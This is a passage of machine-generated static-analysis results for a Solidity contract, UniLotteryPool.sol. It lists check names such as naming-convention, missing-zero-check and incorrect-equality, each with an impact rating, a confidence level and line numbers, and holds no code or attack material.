{"UniLotteryPool.sol": [336, 337, 334, 335]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [323, 324, 325]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"UniLotteryPool.sol": [1571]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"UniLotteryPool.sol": [2146, 2147]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"UniLotteryPool.sol": [8036]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"UniLotteryPool.sol": [1537]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"UniLotteryPool.sol": [8154]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6912, 6911]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7030, 7031]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8325]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [4224]}}, {"check": "missing-inheritance", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6280, 6277, 6278, 6279]}}, {"check": "missing-inheritance", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [640, 641, 642]}}, {"check": "missing-inheritance", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [634, 635, 636, 637]}}, {"check": "missing-inheritance", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6272, 6273, 6274, 6263, 6264, 6265, 6266, 6267, 6268, 6269, 6270, 6271]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2000]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7020]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7833]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1997]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6902]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8585]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5395]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7016, 7017, 7018, 7019, 7020, 7021]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5505, 5506, 5507, 5508, 5509, 5510, 5511, 5512]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5568]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5591]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5583]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5698]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5358]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1366]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5663]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5126]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5144, 5145, 5146, 5147, 5148, 5149, 5150]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5411]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3668]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5854]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5339]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5547, 5548, 5549, 5550, 5551, 5552]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6020]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6043, 6044, 6045, 6046, 6047, 6048, 6049, 6050, 6051, 6052, 6053, 6054, 6055, 6056, 6057, 6058, 6059, 6060, 6061, 6062, 6063, 6064, 6065, 6066, 6067, 6068, 6069, 6070, 6071, 6072, 6073, 6074, 6075, 6076, 6077, 6078, 6079]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5438]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5300]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5757]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4940]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6875]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5395, 5396, 5397, 5398, 5399, 5400, 5401]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5616]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5440, 5441, 5442, 5443, 5444, 5445, 5438, 5439]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5124]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5793]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5300]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5477]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5339]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5561]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5496]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5704, 5702, 5703]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6828]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5235]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5568]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6898]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5018]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5457]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5781]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5969]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5114]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5692]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5496, 5497, 5498, 5499, 5500, 5501, 5502, 5503]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1933, 1934, 1935, 1936, 1937, 1938]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5583, 5584, 5585, 5586, 5587, 5588, 5589]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5789]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5575]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7441]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5793]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5969]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5663]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5429]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5379]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5472, 5473, 5474, 5475, 5467, 5468, 5469, 5470, 5471]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4946]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [550]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5120]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5318]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5663]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5210]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5529]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6532]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6043]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5259, 5260, 5261, 5262, 5263, 5264, 5265]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5372]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5514]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5259]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5673]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4960]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5117]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5965, 5966, 5967]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1314]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1920, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5327, 5328, 5329, 5330, 5331]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5554]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5376, 5377, 5372, 5373, 5374, 5375]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5535]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5757]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5128]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5496]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5447]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1987]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5969]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6102]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5793]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5090]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5283]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5345, 5346, 5347, 5348, 5349]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5825]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1319]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6020]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5122]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5121]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5561]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8458, 8459, 8460, 8461, 8462, 8463]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7438]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5118]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5358]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5634, 5635, 5636, 5637, 5638, 5639, 5640, 5641]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5132]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5467]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6083]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5541]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5018]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5219]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5318]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5408, 5409, 5403, 5404, 5405, 5406, 5407]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5080]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5387]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5395]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5793]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5358]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5535]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5607]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5922]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5547]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4220]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5523, 5524, 5525, 5526, 5527]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5467]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5965]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5259]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6083]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5351]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8173, 8174, 8175, 8176, 8177, 8178]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5477]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5616, 5617, 5618, 5619, 5620, 5621, 5622, 5623]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5365, 5366, 5367, 5368, 5369, 5370]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5165, 5166, 5167, 5168, 5169, 5170, 5171, 5172, 5173, 5174, 5175, 5176, 5177, 5178, 5179, 5180, 5181, 5182, 5183, 5184, 5185, 5186, 5187, 5188, 5189, 5190, 5191, 5192, 5193, 5194, 5195, 5196, 5197, 5198, 5199, 5200, 5201, 5202, 5203, 5204]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5467]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5789]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5583]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5068]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4346, 4347, 4348, 4349, 4350, 4351]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5653]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5387]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5793]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5318, 5319, 5320, 5321, 5322, 5323, 5324, 5325]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5267, 5268, 5269, 5270, 5271, 5272, 5273]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5345]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5683]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5243]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6898, 6899, 6900, 6901, 6902, 6903]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5541]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5568]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4926]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5505]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5420]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5457]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5080]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8465, 8466, 8467, 8468, 8469, 8470]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5210, 5211, 5212]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7421]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5333, 5334, 5335, 5336, 5337]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5339, 5340, 5341, 5342, 5343]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5345]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6102]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5327]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6102]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5643]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5477]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5351, 5352, 5353, 5354, 5355, 5356]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4442]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5283]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5922]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5318]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5591]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5688, 5689, 5690]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7425]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5477, 5478, 5479, 5480, 5481, 5482, 5483, 5484, 5485]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6032]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6531]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5224, 5225, 5223]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5616]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5111]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5514, 5515, 5516, 5517, 5518, 5519, 5520, 5521]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5673, 5674, 5675, 5676, 5677, 5678, 5679, 5680, 5681]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5591]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 